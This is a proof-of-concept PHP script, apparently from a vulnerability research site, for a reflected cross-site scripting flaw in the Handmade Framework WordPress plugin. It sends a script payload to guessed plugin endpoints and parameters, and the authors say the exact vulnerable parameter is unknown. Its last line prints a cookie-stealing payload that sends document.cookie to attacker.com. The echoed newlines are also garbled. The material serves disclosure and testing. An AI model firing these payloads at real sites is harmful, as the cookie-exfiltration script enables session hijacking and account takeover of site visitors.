CVE-2026-22520: Handmade Framework <= 3.9 – Reflected Cross-Site Scripting (handmade-framework)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22520 - Handmade Framework <= 3.9 - Reflected Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-wordpress-site.com';

// Based on WordPress plugin patterns, we test common endpoints
// The exact vulnerable parameter is unknown, so we test likely patterns
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-content/plugins/handmade-framework/handmade-framework.php',
    '/wp-content/plugins/handmade-framework/includes/functions.php'
];

$payload = '<script>alert(document.domain)</script>';

foreach ($endpoints as $endpoint) {
    $url = $target_url . $endpoint;
    
    // Test GET parameters
    $test_params = ['action', 'param', 'id', 'page', 'tab', 'section'];
    foreach ($test_params as $param) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url . '?' . $param . '=' . urlencode($payload));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && strpos($response, $payload) !== false) {
            echo "Potential XSS found at: " . $url . "?" . $param . "=" . urlencode($payload) . "n";
            echo "Payload appears in response without proper escaping.n";
        }
    }
    
    // Test POST requests for AJAX endpoints
    if (strpos($endpoint, 'admin-ajax.php') !== false) {
        $post_data = [
            'action' => 'handmade_framework_action',
            'data' => $payload
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        curl_close($ch);
        
        if (strpos($response, $payload) !== false) {
            echo "Potential AJAX XSS found at: " . $url . "n";
            echo "POST action: handmade_framework_actionn";
        }
    }
}

// Note: This is a discovery script, not an exploitation script
// Actual exploitation requires crafting a malicious URL for victim access
echo "nExploitation would require: <script>window.location='http://attacker.com/steal?cookie='+document.cookie</script>n";

?>